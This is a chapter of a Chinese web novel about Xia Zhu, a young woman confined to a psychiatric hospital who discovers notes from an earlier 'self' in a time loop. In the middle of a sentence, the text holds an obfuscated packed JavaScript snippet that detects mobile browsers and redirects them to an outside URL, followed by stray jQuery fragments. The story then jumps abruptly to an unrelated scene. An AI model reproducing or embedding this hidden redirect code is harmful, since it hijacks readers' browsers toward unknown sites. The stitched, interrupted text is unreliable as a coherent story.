很小的时候，爷爷问过她。
“小烛，你害不害怕？”爷爷指着头顶那盏正被飞蛾围绕的灰蒙蒙电灯。小小的身躯一下又一下撞击着玻璃罩，在寂静如水的夜里显得格外清晰。
“为什么要害怕？”夏烛不解，她睁着眼睛一动不动地盯着那只黄灰色像玉米面一样的蛾子，她知道飞蛾扑火的成语，也知道后半段常常跟着自取灭亡的陈述。
可在夏烛眼里，趋光的蛾子就是一位无比勇敢的战士，即使它的蛾生追求在另一维度的生命眼中，不过是低等物种蠢笨的行径。
痛苦或者说死亡，不过是生命绽放的另一种形式。
要说害怕。
小夏烛突然想到了住在河边的那个女人。女人是在前年结得婚，结婚那天夏烛跟着隔壁婶婶的孩子一起去凑过热闹。看新娘子总是她们这群乳臭未干的小屁孩最大的乐趣。夏烛跟着一群毛头小子钻过无数条枯树杆一样的腿，穿过将要摆上喜宴的木头圆桌，终于在一棵枝繁叶茂挂了红绸子的核桃树下见到了她。
她穿了一身烟红色的小毛领袄子和红西裤，头发盘了起来不知道使了什么而变得干硬弯曲，一朵红色的塑料花别在她的耳后，脸上被遮盖得看不出皮肤原本的颜色，红艳艳的像两片山楂糕。
这个时候她应该是快乐的，虽然她的年纪似乎不足以懂得什么是婚姻的快乐，但是鞭炮和祝福炸在耳边，那种短暂的耳鸣也许会让人以为是幸福的晕眩。至少那个时候她那双圆圆的眼睛仍旧亮晶晶的。
也许是新娘子身上的颜色太过于夺目，以至于小小的夏烛以为女人将会永远是红色。
再后来夏烛发现女人总是会从她家院子门前过，她仍然会穿红色的衣服，但那颜色不再鲜艳而是被掩盖在某种灰暗之下。
女人每天都从门前的田埂上垂着头走过，日头升起又落下，庄稼绿了又黄。她像一架设定好程序的机器，精准地运转在田埂、灶台、猪圈之间。锄头扬起落下，镰刀割断麦秆，柴刀劈开木柴，动作是千锤百炼后的流畅，带着一种近乎残酷的效率。
夏烛刚开始还很好奇，尝试过从每个角度去观察女人的脸，在一遍又一遍的努力后，她发现自己始终无法从女人的脸上再看到那双黑色的眼睛。
这个发现让夏烛从深夜的梦魇中满头大汗的醒来。
这是她第一次感到害怕。
也是她第一下定决心，等她长到女人的年纪，一定不要穿上和她一样的红色衣服。所以她努力学努力学，走到镇上又走到市里，直到从书里得到了以前从来不曾想象的知识，窥见了这个旷阔世界的一角，直到爷爷在那个夏天还没到来的时候离开了自己，一种新的恐惧又出现在了夏烛心里。
从前是因为害怕而想要走远，现在又是因为害怕而不敢走远。
直到躺在这张病床上，束带狠狠勒着她的四肢，似乎紧绷的皮肉只是案板上的斤两压称，即使她从头到尾都没有进行怎样奋力的反抗。
直到镇定剂注射到她的血管中，露出孔眼的上臂依旧裸露着，没有人记得要帮她重新整理好衣服。那种被迫的镇定，顺着静脉流遍全身，呼吸变得缓慢深沉甚至虚假，各处的肌肉松弛到瘫软，失去焦距的瞳孔里只剩下一片混沌的灰暗。
恐惧再次袭来。
夏烛在恍惚中读懂了畏惧的名称，她害怕的从来不是痛苦，而是麻木。
此时此刻，躺在精神病院中，所有人都告诉她，她因为某种心理压力而产生了幻觉，不得不休学到这里来养病。告诉她之前的一切都是假的，她麻木生活中终于升起的一簇火焰，只是精神失常下意识的摩擦。
朋友，同伴，未知世界的无上魅力，以及明晃晃的月光，都是假的。
这种打击对夏烛来说无疑是致命的，更让她愤怒的是她甚至没有力气站起来，亲自去证明点什么。只能被绑在这张床上，感受骨头缝里细细密密的瘙痒，空虚感传遍全身。
无可奈何，夏烛闭上了眼睛。
朦胧中似乎过了很久，夏烛睡了很沉的一觉，也许还做了一个梦。梦里面她变成了从前看过的某一本书中致命又美丽的女反派，被自己的死对头囚禁于贝蒂纳修道院，那是个压抑，守卫森严，容易使罪犯陷入绝望的监狱。
她想象自己化身成红衣教主手下最得力的特工米莱狄，她的魅力从不仅于美丽的外貌和舒适环境下的优雅，而是源自绝境中迸发出的如同淬火钢铁般的意志和可怕的生存本能。
看书的时候，夏烛就曾醉心于这个角色，而她现在被当作精神病关在这里，处境倒是和米莱狄有些许的相似。
夏烛重新醒来的时候，带着全新的意志力，那是想象中的人物给予的盔甲，有的时候，像风枫一样进行角色扮演也不是什么坏事。
这样去想，连身体机能都恢复了大半。
接下来的几天，夏烛表现得像一个开悟的坏人，极尽忏悔，积极治疗。每天乖乖打针吃药，又在医生走后，和自己因为药物作用而变得迟钝麻木的大脑对抗。
她的表演能力着实有进步，四天之后，他们不再用束带将她绑在床上，病房的门也不用费心反锁，夏烛终于可以自由活动了。
“好了夏烛，你要是早点像这样听话，说不定早就能恢复出院，别让你爷爷在天之灵也担心啊。”
值班护士打完今天的最后一针，将针管重新扔回不锈钢的托盘里，意味深长地看了一眼床上的夏烛，最后摇摇头推着推车离开了。
夏烛强忍着恶心，咽下没有说出口的咒骂，她始终无法接受这些魍魉创造的伪人怪物，冠冕堂皇地谈起爷爷。
门彻底关上，夏烛躺着休息了几分钟，晃晃脑袋从床上下来，她要再去一次负一楼。
用于镇定的药虽然因为她的正常表现减少了剂量，但还是会对头脑和行为产生影响，夏烛扶着墙来到卫生间，拧开水龙头，捧起冰凉的水将脸埋进掌心。
这个办法着实有用，夏烛对着镜子看着里面那张无神的脸，觉得自己的五感似乎变得敏锐了一些。
忽然，她听到在水流之下还存在着一种细微的动静，就像某种低语正从管道中传来，她关上了水龙头，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008642|172863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再次竖起耳朵仔细分辨。
窸窸窣窣，是从水池下面传来的。
她蹲下身体，惊讶地发现水池的出水管后方正在掉落着细细的墙灰，堆积在地上积成一座白色的小山。她心跳加速，压制住兴奋小心翼翼地将手伸到水管后面。
这块墙壁有些松动，仿佛有人正在墙后面凿着洞。
忽然，一小块砖头彻底滑落出来。
夏烛眼睛一亮，这根本不是三个火枪手而是肖申克的救赎。
她激动地伏下身体，奈何水管后的结构逼仄，无法从漏洞中看到另一面的情形。夏烛伸出手，洞口再次传来窸窸窣窣的声音。
她的睫毛微微颤抖，收回的手里捏着一张药单。
她将药单反过来，另一面上写着让人熟悉得想要流泪的字迹。
“你好啊，夏烛三号。
收起眼泪，我要做自我介绍了。
我就是你，准确来说，我是夏烛二号。”
她看着这排和自己一模一样的字，“三号”的字样无比的刺眼。
啪嗒一声，水管后的洞口处掉落下一只圆珠笔。
夏烛抹了抹自己湿润的眼睛，没有犹豫拿起笔在药单上写下回复。
“所有的一切，是循环，对吗？”
她快速将纸条塞了回去，没多久，房间的另一边又传来消息。
“没错，而直到你出现，已经是第三次了。”
夏烛睁开眼睛，房间内的光线很暗淡，应该只有天花板上有一盏顶光，照出微弱的圆形范围。她首先闻到一股浓烈的消毒水气息，顺着鼻腔滑进胃部，灼烧出淡淡的酸味。
她猜测自己应该是靠坐在某一张床上，背后似乎垫着枕头，但脚下的布料并不细软而是粗糙地磨着脚后跟的皮肤。她就着微弱的光线看出了这里似乎是一间病房，那种独自一人的恍然刚刚出现，却发现对面的病床上突兀地坐着一个男人。
“好巧。”他淡淡地开口，声音像是从很远的地方传来。
“你怎么在这里？”她原本想问“你又跟踪我”，但这句话明显有自作多情的意味，所以夏烛抿起嘴角换了种说法。
“我都说了，巧合而已。”
“巧合。”夏烛重复着赢惑的话，揣摩着这个简单词汇的意思。“那真是太巧了。”她干巴巴地回了一句。
两个人像同一间病房的病友一般，面对着面躺在床上，沉默让周围的一切都显得不真实。
夏烛转动着头，环视了一圈，发现除了她和赢惑身下，这个房间内还有另外几张病床。
空床。
风枫和姬无愁她们并不在这里。
她原本想下床走动走动，探探究竟，但是目光瞥到对面一动不动的男人，不知出于何种原因，她也选择继续按兵不动。
甚至放松了背部肌肉，让脊椎一节节完全靠在软枕上。
不知道过了多久，房间里唯一的灯在几次闪烁后彻底熄灭，没有理由，也许是求生的本能，夏烛屏住了呼吸。
黑暗中，她听到了某种奇怪的动静。